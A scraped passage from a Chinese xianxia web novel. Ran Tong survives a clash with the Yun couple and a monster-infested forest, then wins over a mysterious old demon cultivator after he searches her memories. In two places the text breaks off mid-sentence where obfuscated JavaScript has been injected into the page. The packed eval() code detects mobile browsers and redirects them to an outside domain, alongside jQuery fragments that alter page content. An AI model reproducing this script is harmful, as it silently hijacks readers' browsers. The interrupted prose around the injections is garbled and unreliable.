他对惊慌的敌人轻笑:“老夫并未封锁边界,你们随时可以离开。” 云天阔明知不是对手仍愤怒进击,追月刀长大千万倍,向敌人迎头劈砍,看那力道和体积能将整个烈阳城一剖为二。 冉彤经受不住刀锋带来的气压,抱头蜷缩。 老魔不为所动,嘴角微翘,紫焰腾空,那巨刀顷刻间融成铁汁,化作火雨浇向云天阔夫妇。 二人狼狈抵挡,文罗见老魔火功了得,试图激将:“阁下意趣高雅,烟熏火燎未免太伤风度。” 老魔蔑笑:“你们请老夫饮茶,老夫就只用水系法术应酬吧。” 他转动手腕,将杯中剩茶倾倒在地上。 小小的茶杯像连接着大海,涌起千层巨浪,浪潮似成群翻江恶龙扑向对手。 文罗忙用拿手的木系法术防御,前方地面钻出几百根高屋栋梁般的大圆木,一层又一层交错形成密实的栅栏,指望挡住洪水。 “水旺木飘,这么矮的篱笆可防不住这滔天巨浪。” 随着老魔的悠闲提醒,栅栏被冲得粉碎。 云天阔和文罗升空躲避,跃起千丈高仍飞不出罩顶的潮头,忙祭起一只小金瓶吸取洪水。 “水多金沉。” 老魔教书先生似的指点他,洪水泛起银白色的强光,文罗警觉,大叫:“是水银!” 水银能融解任何金属,蓦地吞没了小金瓶。 云天阔老羞成怒,爆吼:“休要小瞧人!” 即刻做法搬来一座高山,大量土石滚滚投入波涛,试图镇住洪水。 魔头终于不悦:“老夫不想毁坏山林才带你们来这儿,你竟然把整座翠屏山都搬来了,真暴殄天物。” 稍稍加强法力,浪潮拍空,重锤般撞击大山,坚硬的山石如稀泥粉融。 云天阔夫妇被卷入旋涡,幸有法术傍身才没像周围的巨石块被搅成泥浆。 水急土崩。 这魔头仅凭单一法术就能破解他们的绝招,实乃平生未见的强敌。 “老太婆,看来你我得联手了。” 在云天阔知会下,文罗与他合力祭起“万冶轮”。 金光逼退洪水,罗网般罩住老魔。 冉彤像畏光的雪人,爬在地上痛苦尖叫,一层清凉兜头盖住她,是老魔的外袍。 破坏力惊人的金光被紫气反弹,未有寸进,只令洪水腾腾蒸发,水面急速跌落,露出残留的山石。 “毗沙老贼炼制这法宝花了不少心思吧,今日归老夫了。” 紫气变化出数道锁链缠住“万冶轮”,云天阔夫妇来不及收回法宝,忙全力拼抢。 冉彤看得心惊,明白老魔想用这法宝克制天罡真雷,让他得手,她将失去与之谈判的筹码。 “前辈,得罪了!” 她当机立断卯足力气用天罡真雷偷袭老魔,而后飞身扑向半空中的“万冶轮”。 老魔本就对她窝火,受到冒犯杀心顿起,随手朝她射出一道罡气。 云天阔和文罗虽不明白他俩为何阵前反目,仍惊忙弃了“万冶轮”,双双来替冉彤挡驾。 对他们来说她是无可替代的祭品,绝不能死在这儿。 老魔只用了一成力道仍够他俩脱几层皮,强行挡下这一击后二人先后喷血坠落,无法应战了。 冉彤顺利夺得“万冶轮”,将法宝扔进提前开启的乾坤挪移阵。 老魔打量她又想逃,追加一击打碎阵盘,恰好中了她的诡计。 “有劳前辈了。” 她翻滚落地,浑身疼得站立不稳,仍难掩得色。 老魔回过神来,恨不得一把捏死她。 云天阔夫妇也领悟出她的目的,惊讶得连连摇头。 文罗感叹:“你这丫头智勇双全,狠辣过人。可惜宿雨是个没福气的孩子,不然他那样仁懦的人正需要你这种贤内助帮衬。” 冉彤咳喘嘲谩:“别假惺惺了,我说过有朝一日会将云氏灭族,偿我父母的血债!” 老魔认为闹剧该收场了,挥手在空间上掏出个大洞,指着洞外的蓝天白云,莽莽丛林说:“走这条路回昌宁约有十万里路程,你们两个小辈年纪轻轻就老态龙钟,正该多活动筋骨,快去吧。” 夫妻俩没必要送死,相互搀扶起身。 云天阔问老魔:“还未请教阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491959|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下大名。” 老魔说:“知道太多只会害了你,不想惹麻烦最好忘了今天的事。” 老两口对视一眼,再无奈地看了看冉彤,默默飞向出口。 冉彤还跪在地上,没力气起身也不敢起,耷拉着头等老魔靠近。 老魔看出她心脉受损,不及时治疗性命难保,冷漠问:“你有伤药吗?” 冉彤微微摇头,明白不用老魔动手,这身伤也会要她的命。 老魔郁闷叹气,吩咐:“起来,让老夫瞧瞧。” 他想给我疗伤?可是他们魔道修炼的功法和我相冲相克,要是沾了他的魔气,我的修为怕要毁于一旦。 “不、不用了……” 她退缩犹豫,猛地一阵咳嗽吐出几口鲜血。 “少啰嗦,不想活了吗?” 老魔不耐烦地将她拎起来,右手掌抵住她的脑门,注入治愈之力。 冉彤伤痛顿减,还发现他的灵力异常干净,没有一点魔修常见的秽气。 “多谢前辈相救,晚辈感激不尽。” 她乖巧道谢,尽量做出怯生生的样子。 老魔已不再受她外表迷惑,表情严酷,活像拷问囚犯的狱卒。 “老夫不想听到半句废话,问什么你就答什么。” “是……” “你真是白子落的手下?” “不,但晚辈并未欺骗前辈!晚辈直接听命于万象圣尊的部下,七曜城十柱石之一的秦不羁,是他指示晚辈去古城遗址的。” 事到如今她只能在行骗的路上走到黑,因为事实太离奇,还不如谎话的可信度高。 老魔和秦不羁是旧识,觉得他这么做很合理,继续问:“也是他派你冒充周羽珞接近老夫的?” “不,他只命晚辈去青龙沟修行,晚辈在那里住了一年才遇到前辈,秦不羁总不可能未卜先知吧。” “这么说后来的事都是巧合?” “是。” “那你可以去死了。” “不!等等!” 冉彤退后几步,看出老魔来真的,忙搜肠刮肚找让他不杀自己的理由,临时编出一句登峰造极的谎言:“晚辈能帮前辈寻回您的夫人。” 她通过初见时老魔的反应,结合《云影仙踪记》里的情节判定老魔很在意那个谋害他的美女,并推测对方正是他的妻子。 刚见面时我穿着嫁衣,他说跟那女人很像,没准正是在新婚之夜中招的,对方可不就是他老婆吗? 聪明的瞎猫才能逮着死耗子,这回又叫她懵对了。那女人是老魔最痛恨的仇家,他迫切想找到她,解疑雪恨。 “你知道她在哪儿?” 面对老魔峻色质问,冉彤差一点怂了,支吾道:“晚辈并不知道尊夫人的下落,线索都在秦不羁手里,是他让晚辈这么跟您带话的,还说等时机成熟自会同晚辈联络。” 她想一石二鸟,让老魔留活口,兼做她的保镖。 老魔狐疑沉默,冉彤被他盯了多久,心便悬了多久,只敢垂头看自己的脚尖,快接不上呼吸。 忍到双腿僵成了石头,老魔沉声说:“也罢,你先跟着老夫吧。” 他转身向前,空间壁消散,二人回归现实,身处一处陌生的密林。 天已黑了,林子里雾蒙蒙地,周围树木山石形状怪异,仿若张牙舞爪的魔兽,方圆几里听不见半声虫鸣鸟叫,景物气氛都阴森可怖。 冉彤戒备探问:“前辈,这是哪儿?” 老魔不回头地大步行走,语气非常冷淡:“别废话,跟着便是。” 她无奈跟随,边走边张望,危机感挥之不去,觉得这魔头没安好心。 同一时段,云天阔夫妇还在那万里晴空,无边森林间飞行,他们试过朝不同方向前进都找不到尽头,真如老魔所说得行够十万里路方能脱困。 文罗说:“这像是早已失传的歧途迷境,那老鬼来头真不小啊。” 云天阔想起一事,忙说:“我们来对一对那魔头的形容。” 二人停下,分别在虚空中画出各自所见的老魔的外表。 云天阔画的是一个秃头白发的清瘦老翁,文罗所画则是一个须发浓密的中年大胖子。 文罗惊诧:“他竟能让我们看到不同的幻像,有此法力者当世寥寥无几!” 云天阔万分忧忡:“这等高手会在意冉彤这丫头,定是看中她的天魔体质,想以此作乱为祸。我们出去后先禀告杨长老,让离恨天加强防范。” 34.澄清 冉彤跟着老魔走了几里山路,环境越来越险恶,这里的浓雾会削弱神识,近处还飘荡着各种妖兽的气息,必是蛮荒边陲之地。 “前辈,这里妖气好浓……” 她试探提醒老魔,换来他漫不经心地敷衍:“不用理会。” “……我们这是去哪儿呢?” 长时间的静默让她觉得老魔的背影也融入到恐怖场景中,断定他心存恶意,忙急切地尝试辩冤。 “前辈,晚辈是遭遇不幸才卷入这场是非的,云家害死了我爹娘……” 老魔生冷打断:“老夫没兴趣听。” 他看过冉彤的通缉令,结合她的行为,真当她归附魔道,是冉云两家的叛徒。 这种自甘堕落的人他见过无数,不屑深究他们的经历动机,能挽救的尽量挽救,这丫头则属于无药可救的类别。 冉彤体验过老魔的善意,他对小辈或者他认为无害的人都温和热心,愿意了解他人的困苦。 如今对她的遭遇漠不关心,说明已经拿她当死人了。 她惶恐抬头,迷雾遮眼,老魔忽然消失了。 “前辈!前辈!” 她慌张呼喊,只听到风声和自己的回音。天罡真雷的感应也被老魔屏蔽了,显然打算把她遗弃在这危险的森林里。 我懂了,他不想亲自动手,所以把我领到妖兽的聚集地,想借它们除掉我。 冉彤毛骨悚然,忙御风起飞,从空中逃离。 钻出树梢,头顶鸟鸣嘶嘶,一群群黑影正在高空中错落盘旋。 那是几百头眼放红光,正成群结队□□的四级三足乌。 冉彤紧忙躲进树枝,屏住气息,她可对付不了这么多凶禽,若被发现正好给它们做婚宴点心。 天上的路走不通,只好冒险在林子里低空飞行。 未出三十丈,一只双扇门板大的六级剑齿鼠从大树上窜下来扑咬她,她绕着树木躲避,又遭遇三只体型稍小的剑齿鼠。 这鼠妈妈领着幼崽学捕猎,准备拿她练手。 冉彤施法还击,打伤一只幼鼠,由此激怒了雌鼠,硬扛着她的雷火穷追猛咬,逼得她慌乱逃窜,受迷雾干扰,误入一片臭气熏天的沼泽地。 进入沼泽,雌鼠似乎觉察到危险,狂叫数声,领着孩子们撤退了。 冉彤朝反方向逃跑,低头见浓雾下的沼泽里生长着许多白色芦苇状的植物,疏疏密密,绵延不断。 神识被弱化的坏处就是很难发现近处的危险。 沼泽里突然射出一根绳索样的东西牢牢拴住她的右脚踝,绳索另一端连着什么力大无穷的怪物,将她从半空中拽下来摔进粘稠的泥水荡。 她赶紧发动天罡真雷,想吓退怪物。 电光闪烁照亮视野,周围景象先把她吓坏了。 那些白色状似芦苇的东西并非植物,而是一根根竖立在水面上的,大大小小的骸骨,当中不乏人类的手骨。 这些手骨五指大张地朝向天空,像在极力抓取那不存在的救援,直观反应出遇害者临死前求救无门的绝望。 这绝望传递给了冉彤,她半截身子陷在泥里,右腿被死死拽住,难以挣脱,定然中了凶兽的陷阱。 俄顷,不远处的淤泥下隆起一团大坟包形状的物体,坟包里亮起六盏两两重叠的血红灯光,泥浆迅速下滑,露出乌黑油亮的 甲壳,接着那六眼怪物竖起两根鞭子似的长触须,是一只凶恶的七级尸沼蜣螂。 冉彤自知绝不是这虫妖的对手,情急下向老魔呼喊求救:“前辈!救命啊前辈!” 她猜老魔会确认她死亡后再走,定能听到她的叫声。 老魔一直监视着她,这会儿只隔她一里远。 他在树妖峡谷时便决定除掉冉彤,这丫头品性太差,人又过于狡猾,还是危险的天魔体质,于公于私他都不能放任隐患。 至于仇家的下落,日后可直接去七曜城问白子落。 亲手杀一个小丫头太不体面,假手妖兽最合适。于是领她来到这庆隆州北境外的寂灭林,此间遍地恶妖,她不可能活过今晚。 听到冉彤的求救声,老魔稳如铁石,料想这杂音持续不了多久。 冉彤喊了两声,醒悟方式不对,自忖:我在他心目中就是个作恶多端的妖女,还怀有能对他构成威胁的雷丹,换做是我也断不会留祸根。 那蜣螂张大口器向她扑来,她拼命释放真雷,借助神木牌的力量暂时挡住它的攻势,但无法阻止危机的脚步。 蜣螂舞动八只长戟般的触手,咆哮着缓慢逼近,一寸寸缩短中间仅有的五丈距离。 不行,这样下去死定了,得让那魔头来救我! 冉彤深知好人有一个共同的弱点:心软。 当前获救的唯一办法就是激发老魔心底那块柔软的良知。 她不假思索,凭本能高喊:“爹!救命啊爹!您在天有灵,快来救救彤儿,彤儿不想死啊!” 凄厉尖叫伴着兽吼和剧烈水花声在林子里扩散出惊悚的涟漪,撼动了老魔刚毅的神情。 他愕然转向那方,冉彤的叫声似潮水猛烈拍打,他的心开始像漂浮的独木舟不停摇晃。 “爹!爹!救救我啊!爹!” 急促简短,不停重复的字词迅速攻克了他的理性,提醒他哭喊者是个痛失双亲的孤儿,于绝境中渴求父亲庇护的小女孩。 蜣螂逼至近处,冉彤险些被它的触手刺中,那长满锯齿的丑陋口器就悬在头顶上方,六只红眼放射的凶光吞噬了她全部定力,再也没有做戏成分,她碎心丧胆,撕心裂肺哭嚎:“爹!救命啊!救命啊!爹!” 此刻她对父亲的思念到达顶峰,假如他魂灵有知必来相救。 蜣螂已排除雷力干扰,抬起上肢凶猛扑咬。 千钧之际,一束紫光迎面飞来将它的脑袋上身一齐轰飞,冉彤压力骤减,接着被一股力道拽出沼泽,倏地扔到远处的草地上。 她粗喘着,哆哆嗦嗦爬坐起来,抬头望见老魔冰冷的眼神,又旋即爬伏,悚惧低语:“多谢前辈搭救。” 老魔的沉默拓展着她的恐惧,明白他并未解除杀意,反复只在一念间。 生机稍纵即逝,她忙跪地求告:“前辈,晚辈没您想的那么坏,求您放晚辈一条生路吧。所谓日久见人心,晚辈会向您证明自己。” 她思索求生计时老魔也在考虑如何处置她。 既动恻隐就不可错杀。 他想到一个便捷稳当的方法,森严道:“老夫可没那么多功夫陪你耗,现在就来看看能不能留你。” 冉彤被他遽然悬空提起,一阵剧痛袭入神魂,脑仁滚沸,血脉逆行,与之相比,过乾坤挪移阵的苦楚只算皮外伤。 这是……搜魂!? 是的,老魔正通过搜魂大法读取她的记忆,这法术由他使用虽不会残损对方元神,可受苦是免不了的。 “啊啊啊啊啊!!!” 冉彤嘶嚎惨叫,神识被强行劈开,记忆似洪流狂暴冲刷大脑,顷刻间死去活来无数次。 老魔认真浏览那些记忆,随即对她改观。 这是个在蜜罐子里泡大的姑娘,偶尔调皮捣蛋,刁蛮任性,都在合理程度内,从未干过值得追究的坏事。 其遭遇也着实令人揪心,如今这些名门正派越来越无能了,离恨天也是千年如一日的卑鄙,尸位素餐,一无是处。 他看到冉彤被追杀着逃入古城遗迹,受陆山君一家逼迫接受雷劫,邂逅秦不羁父子,之后意外得到周羽珞的皮囊,冒名顶替她,因此被卷入黎修鳞等人的阴谋。 原来“谋害亲夫”、“投靠魔道”、“杀人剥皮”、“奉命算计他”都是阴差阳错造成的误会。 真实的她具备见义勇为的善良,披肝沥胆的仗义,在险象环生的逆境中不妥协、不放弃、不退缩,犹如深渊峭壁上顽强的雏鹰,迎着暴风急雨高歌猛进,一次次与命运奋勇搏击。 区区十九岁竟有如此毅力,老魔设身处地思之,欣赏,怜惜油然而生。 他这边回心转意了,冉彤却被剧痛逼得狂性大发,狠狠激发丹力,引动老魔体内的天罡真雷。 正常情况下这招数起不了作用。 坏就坏在搜魂时为使双方神识相连,老魔卸下了所有防御。 他没想到冉彤会在毫无反抗能力的情况下运行真雷,主动将全身要害暴露在外。雷力乍现,由内而外撕开他的胸腹,五脏破裂,血溅数尺。 他措手不及吃痛大叫,右手成爪劈向冉彤的头颅,于中途紧急停顿。 这丫头又没错,不能杀她! 理智促使他硬生生承受住持续肆虐的雷力,咬牙切断二人的神识连接,与冉彤一齐倒在血泊中。 暗自懊丧道:居然在同一个地方跌倒两次,也许我真是个缺心眼。 冉彤没受伤,搜魂结束身体立时复原。 她知道老魔已摸清了她的底细,是以手下留情没当场击毙她。 看他伤得血肉模糊,又自觉闯下大祸,旧的误会是解除了,这新的仇怨却是实打实的,定会惹他记恨。 趁现在还来得及,我得赶快弥补才是。 她洞洞属属爬到老魔身边,见他双目紧闭,胸腹四肢的伤口还在汩汩冒血,看来被这一击伤到了元气。 世上能重创他的人恐怕不多,我这种更是撞大运。 搜魂大法自带防御体系,少有功法能破解,天罡真雷的双向连接是个异数,真钻了大空子了。 她莫名地获得些许成就感,试探着用右手心触摸他的额头。 老魔猛地凤眼圆睁,锋锐目光令她不寒而栗。 “晚、晚辈想为您疗伤!” 她鼓足勇气解释,见老魔眼神有所软化,忙认真运用冰心诀施救。 过了十数息,老魔不耐烦地问:“这是冰心诀?怎么还不起效?” 冉彤慌道:“晚辈已经很努力了,这冰心诀不比灵丹妙药,见效是比较慢。” “不对,真正的冰心诀复原外伤很神速,你有神木牌在身,灵力充裕,按说不该这么慢,定是没掌握要领,把功法写出来让老夫看看。” 老魔出狱一年多,发现修真界后辈整体实力 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冉彤这才发觉满身淤泥,发丝衣角还滴着污水,冒出一股股难闻的恶臭。 “失礼了!” 她愧惶无地,忙念净尘诀,可是心念太杂,没能完全清理干净。 老魔瞥她一眼,轻声说:“裤腿上还有。” “哦!” 冉彤弯腰仔细清理,鞋子裙裤都弄干净了,却没发现右肩上还沾着一块污渍。 老魔瞧着扎眼,又怕女孩子脸皮薄,一再被挑剔这种事会伤自尊,便悄悄替她都清理掉了。 冉彤乖乖站着等他发话,刚才一些妖兽被血腥吸引过来,躲在附近梭巡,她量它们不敢对老魔撒野,瞧见那些大块头的凶悍畜生也不害怕。 兽群突然惊慌逃散,一股分外浓烈的妖气袭来,周围雾气变成了血红色。 定是万年老妖! 冉彤面露惊恐,立刻听老魔低声安抚:“别怕。” 红雾里出现三对重叠的红眼睛,是一头体形更巨大的尸沼蜣螂,瞪着二人发出凶狠的人语。 “何方歹人敢杀吾儿?” 是方才那虫子的老爹啊,会说人话,至少已进入化形期,是头九级妖兽了。 老魔不屑一顾,淡定道:“你若想见你儿子,本座可以送你一程。” “大胆!” 老蜣螂怒吼着喷出一股尸气,冉彤躲在老魔的护盾后,眼见周围草木腐蚀融化,几棵直耸云霄的大树断裂倒塌,冒着浓烟烂成黑泥。 老魔轻轻一哼,紫光照亮方圆三里地,灵压吹散尸气红雾,逼得那老蜣螂团缩防御。 “原、原来是您啊……” 老蜣螂认出老魔,急忙赔不是,先收到他传音警告。 “不许泄露本座身份!” 老蜣螂赶紧闭嘴,绿光一闪,变成一个黑袍黑帽长相黑瘦的长胡子中年人,点头哈腰走来向老魔行礼。 “小的老眼昏花,没认出您,多有冒犯还望恕罪。” 冉彤看出这化形大妖认识老魔,仔细听他将如何称呼。 老蜣螂哪敢造次,要不是怕老魔下杀手,他早逃之夭夭了。 老魔反感吃人的恶妖,但他早年与六大妖王达成协定,不得妨碍妖族内部自治,今日已杀了小蜣螂,也没逮到老蜣螂害人的现行,还能放他一马。 冷脸教训:“如今这寂灭林真成了法外之地,任由你们这伙灵玄教的狂徒在这儿行凶害人。” 冉彤方知此地是天下四凶地之一的寂灭林,老魔竟转眼带她跑了七万多里远,这空间转移术已修到极致了。 她大致能听懂他的意思,妖族和人族一样也分善恶两派。 善妖修炼太乙上清道,俗称“太清教”,原理和人族正道相仿,遵循天理,循序渐进。恶妖主修灵宝通玄道,亦称“灵玄教”,专靠采补、吃人、猎食其他妖兽积蓄法力。 妖族内有兽族、羽族、水族、虫族、木灵、矿精六大族群,每个族群都有自己的王。 自古只有太清教的善妖能称王,对族内恶妖有一定约束力,但也管不了太多。所以那些数万年道行的老妖精照样横行无忌,只要别闹得太过分,离恨天也对他们睁眼闭眼。 老蜣螂还算不上虫族里的大人物,被老魔唬得肝颤,更卑微地道歉。 “阁下息怒,小的孩子太多,管不过来,刚才那孽障尤其顽劣。小的曾一再叮嘱他不可袭击人族修士,他想是饿昏了头才去冒犯您的爱徒,还险些连累了小的,真死得活该!” 老魔讥讽:“这么说你不打算追究此事了?” 老蜣螂不停作揖道:“那样不长眼睛的畜生死就死了,您宽宏大量,不治小的的罪,小的便谢天谢地了。” 老魔略微挥手,示意他走人。 老蜣螂欣喜告退,呼叱一声跑没影,其他妖兽估计都看出势头,早躲得远远的。林子里妖氛一扫而空,雾散云霁,难得地安宁了。 35.结伴 冉彤见老魔能让活了上万岁的化形大妖俯首帖耳,更确信他是千年前举足轻重的魔道枭雄,史书上查无此人,是被人为抹去了事迹。 刚才老蜣螂把我错当成老鬼的弟子,他没有否认,兴许愿意收留我了。 危机远去,冉彤马上想起阿黄,忙恳求老魔:“前辈能不能带我回那个树妖居住的峡谷?我要去救阿黄。” 被老魔搜魂的另一便利是跟他说话不用做过多解释。 老魔平静道:“那只狗已经死了。” 冉彤以为阿黄伤重不治,不禁泪花上涌,又听他说:“准确的说,它五年前就死了。” 冉彤脑瓜子灵,稍稍一愣反应过来:“之前是有人类的魂体附在狗身上吗?” 阿黄没有妖丹,法力却很强,只有附体媒介才说得通了 我真迟钝,早该想到的,那么那个附身的人是谁呢? 那灵体被老魔从识海里放出来,是个容貌俊秀的青年,冉彤细看大惊。 “黎申!” 这青年正是黎申本人,他见了冉彤怒发冲冠,向老魔叫嚷:“阁下答应替晚辈的未婚妻报仇,为何还不杀了这妖女!” 冉彤知道黎申误会自己杀害并冒充周羽珞,忙要否认,老魔先替她辩解:“我们都误会她了,这丫头非但没害过你表妹,还是她的大恩人。” 他将冉彤的这段记忆提取出来植入黎申神识,明晰了事件原委。 黎申这才明白害他的人是静水师祖,又得知周羽珞历经坎坷后已去往阴间,不免百感交集,泪雨倾盆,诚恳地向冉彤致歉道谢。 他蒙冤受辱,是整起事件里最大的受害者,冉彤对其十分同情,好奇询问他当年的遭遇。 当日黎申遇害不久即被鬼差捉拿,押赴鬼门关。 凡人的魂游荡在外不至有大危害,鬼差若忙不过来便懒于理会。 修真者死后能修鬼道,破坏力可就大了,故而被冥府重点关注,一旦身死立时便有鬼差去勾魂,如无人接应掩护,实难漏网。 黎申担心家人遇害,尤其放不下周羽珞,想尽办法于半路上出逃,后在好心人庇护下躲过鬼差搜捕。 “那个巡城道人张力曾受过我的恩惠,我在逃跑途中遇到他,向其求助。他教我藏在一只新鲜的紫河车里,总算躲过了鬼差追捕。” 新鲜紫河车刚容纳过新生儿,又血腥污秽,是鬼差排查的盲点。 黎申在里面藏了七天,七日后不归案的鬼魂,鬼差便缉捕得没那么严了。其姓名会被阴司登记到游魂册子里,若日后查出修炼鬼道,那便永久不得入轮回。 长期做游魂太不安全,在张力协助下黎申先是寄附到一只乌鸦体内,总算有稳当的身份滞留人间了。 他原想向家人示警,可静水在黎家周围布了机关法阵,他一闯入便遭击杀,差点魂飞魄散。 他自知此路不通,且通过张力得知静水伪装巧妙,无人能识破,贸然向家人暴露身份不啻自投罗网。 万般无奈下他转而寄俯到大黄狗身上,终日在黎家附近徘徊,还得小心掩饰。 “当我准备去找表妹时就听说姑父一家被灭门,表妹失踪,我断定是那冒牌货主使,没想到爹和三位师叔也参与其中。” 黎申此前一心复仇,获悉内幕后深受震动,对静水的仇恨已尽数消融,只感叹冤冤相报何时了,仅有的撼恨是没能消除周羽珞对他的误解。 “表妹一定恨毒了我,这可如何是好。” 五年里他为爱人日夜忧焚,甘愿放弃一切换她平安。为了她,宁愿万劫不复,可如今周羽珞的仇恨将是囚禁他的无间地狱。 看他痛哭流涕,冉彤很难过,想向老魔求助,又怕冒失。 老魔贯彻善心,主动对黎申说:“那周羽珞想必还未投胎,老夫帮你想想办法吧。” 他默念咒语,招来一阵打着旋的阴风,风眼里出现一个额头贴着黄纸,手提铁锁链的黑衣鬼差,小跑上前向老魔鞠躬。 “上仙有何吩咐?” 目睹此景,冉彤和黎申舌挢不下。 要知道鬼差、土地、山神等地仙只受真仙召唤,法力顶尖的大修士都请不动他们,更别说调派差事了。 他明明是个阴司里人人喊打的鬼修啊,这鬼差为何称他“上仙”,还肯听命于他? 老魔客气还礼,指着黎申说:“此人五年前因故滞留人世,如今想去地府寻他的未婚妻。老夫看他情有可原,五年来亦无大过,愿为其作保。还请差官行个方便。” 说着递上一粒香丸。 “这香丸是老夫从那女子的人皮中提炼的,可用来寻人。” 鬼差接下香丸,说:“此事不合规矩,按理说小的不该答应,但既是上仙亲自吩咐,小的说不得要尽力,只是……” 冉彤看他拿糖做醋,讨价还价,心想这阴间和人间区别也不大,都讲究人情世故。 老魔爽快道:“有话但说无妨。” 鬼差喜道:“上仙真是通情达理,其实也算不得什么大事。小的有一亲家在东大陆看守鬼门。往常每隔三十年总要来此间探亲,这次却整整五十年杳无音讯。小的不敢擅离职守,上仙若有空可否代小的去看看。” 东大陆远在二三十万里外,彼处有四座鬼门,老魔问鬼差他亲家在哪一座任职。 这糊涂鬼竟挠着后脑勺说:“他四门轮换值班,小的不清楚如今轮到哪个门了。”,怕老魔推脱,忙补充:“此事不急,您什么时候得便去都行。” 老魔一口应允,让黎申随鬼差去。 黎申绝处逢生,跪地向他拜了三拜,泣求:“还请恩人告知尊姓大名,晚辈来生定结草衔环报答您和冉姑娘。” 老魔淡然挥手:“何必给自己赠添债务,便是这丫头也没图你报恩。” 冉彤见老魔头微微转向她,赶忙附和:“是啊,我之前根本不知道你被夺舍了,还当你是负心汉,一心杀之后快,从没想过索取回报。” 虽是真心话,但假如老魔不在场,她还是很愿意捞点好处的。 黎申感铭肺腑,千恩万谢后任那鬼差用铁索套住脖子,一道乘阴风去了。 冉彤心头胀满疑惑,紧张又兴奋地问:“前辈是仙人吗?” 老魔否认:“老夫跟你一样是凡人。 “凡人怎能调遣鬼差……难不成,您已修炼到了真仙境?” 见识过老魔的神力,冉彤相信那凌驾极境之上的“真仙境”并非传说了。 所谓“真仙”即是尚未褪去凡人躯壳的仙人,待天门开启即可飞升。 老魔不接茬,严肃道:“你真是好了伤疤忘了疼,不怕老夫杀你了?” 冉彤明知他在吓唬人仍配合地装胆怯,小声嗫嚅:“前辈已查清来龙去脉,应该不会苛责晚辈了吧。” 老魔叹气:“你这丫头胆子太大了,什么谎都敢撒。万一遇上个性急的,不经调查就要了你的小命,你能上哪儿喊冤去?” 拿白子落当挡箭牌就算了,连那女人的事都敢提,她这小脑袋瓜里大概装满了油,滑得过分。 这话教导多过责备,像大水冲垮了冉彤穷心修筑的防线。 整整一年多了,没有人关心过她的安危,在意过她的感受,她也已经习惯用坚强麻痹神经,不去考虑生存以外的事情。 此刻封冻的苦难和悲愁一股脑涌上来,酸甜苦辣汇聚心田,化作肥料滋养了枯萎多时的软弱,令其快速生长,片时开出委屈的花,后怕的果。 “晚辈只想活命,晚辈修为这么低,又无人可以依靠,离恨天到处通缉我,正道的人都当我是妖女,见了就要抓去领赏。晚辈真的没办法……” 她一张口泪如泉涌,没说两句大声嚎啕,恐怕只有出生时的啼哭能与这一刻的音量相比,并非演戏博同情,真是水到渠成,有感而发。 得到老魔谅解,预示着她安全了,还有可能获得强有力的庇护和扶持。更重要的是:他终于了解到她的品行,不再拿她当坏人了。 看她哭得一塌糊涂,老魔有点过意不起,后悔没及早查清楚,这丫头受的惊吓,吃的苦头有相当一部分是他造成的。 “好了,没事了。” 他摘下几片树叶,做成纸巾递给冉彤擦眼泪,等她止住哭,问:“你有想去的地方吗?” 冉彤摇头。 “老夫送你去七曜城找秦不羁,如何?” 冉彤更用力摇头,可怜巴巴望着老魔。 找靠山当然得挑最强的,秦不羁和这老鬼比就是芝麻之于西瓜,哪有丢了西瓜捡芝麻的。 老魔尊重她的意见,提出第三个选项。 “那你暂时跟着老夫吧。” 冉彤窃喜若狂,沉住气试探:“前辈这次是认真的?不会又把晚辈扔半道上吧。” 老魔摇摇头,虽无笑意,表情已像三月春风暖意和煦。 冉彤放心展颜,欢喜地跪地磕头。 “多谢前辈!” 起身后兴冲冲表忠心:“晚辈不会给您添麻烦的,往后您有什么杂务活尽管使唤晚辈,晚辈一定小心服侍!” 老魔看过她心高气傲的大小姐做派,对比眼前这卑躬屈膝的情状,真令闻者心酸。又想她父母那般宠爱她,若知道宝贝女儿沦落至此会是什么感受,因此越发可怜她了。 “你照顾好自己便是,走吧。” “好……我们先去哪儿呢?” “老夫在寻一样东西,枫林州、百花州都找遍了,下面该去庆隆州了。” “是什么东西呢?” “…………” “晚辈多嘴了!以后绝不乱提问!” “别战战兢兢的,老夫不说自然有一定道理,能让你知道的也不会隐瞒。” “那能先请教尊号吗?” “下个问题” “……这也不能说吗?” 冉彤料想老魔不会透露个人信息,之后交谈都知趣地绕过这个话题。 二人不紧不慢走出两里远,周围景物幡然大变,来到了一座白雪茫茫的冰原。 她惊问:“这儿是什么地方?” 听老魔说是庆隆州西北的丹霞高原,更惊讶了。 “我们才走了那么点距离,怎么就跑到两万多里外了?” “你没听过缩地术吗?你修为低,用这法术带你赶路更安全。” 冉彤想老魔定是看到她在乾坤挪移阵里遭了大罪才这么做的。 当初我还以为他是因为周姐姐的皮相很美才格外优容,如今看来并没有以貌取人嘛,真是个和善体贴的老爷爷。 老魔带她来到一座雪峰下,让她原地等待,独自飞上峰顶,开启神识仔细搜索周边地界。 冉彤知道他在找东西,想坐下耐心候着,腹中突然咕咕作响。 辟谷丸失效了,之前情绪紧张还不觉得饿,这一放松饥饿感迅猛爆发,身边没有一点可吃的东西,等老魔回来,她肚子里已像住进一窝小母鸡,咕咕、咕咕叫个不停。 “你都到了胜境还没断食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717797|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “通常得到了净境才能断绝饮食吧,晚辈平时四五天才吃一次东西,已算断食比较快的了。” 